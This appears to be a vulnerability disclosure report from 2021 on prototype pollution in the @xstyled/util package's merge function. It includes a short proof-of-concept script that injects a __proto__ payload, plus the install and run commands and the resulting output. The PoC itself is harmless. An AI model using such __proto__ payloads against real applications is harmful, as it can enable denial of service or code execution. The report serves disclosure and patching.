Prototype Pollution in gregberge/xstyled
Valid
Reported on
Jun 16th 2021
✍️ Description
@xstyled/util
is vulnerable to Prototype Pollution
.
This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.
🕵️♂️ Proof of Concept
- Create the following PoC file:
// poc.js
var util = require("@xstyled/util")
var obj = {}
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
console.log("Before : " + obj.polluted);
util.merge(obj, payload);
console.log("After : " + obj.polluted);
- Execute the following commands in another terminal:
npm i @xstyled/util # Install affected module
node poc.js # Run the PoC
- Check the Output:
Before : undefined
After : Yes! Its Polluted
💥 Impact
This vulnerability is capable of causing Remote Code Execution and Denial of Service attacks depending upon how it is used.
Occurrences
2 years ago
to join this conversation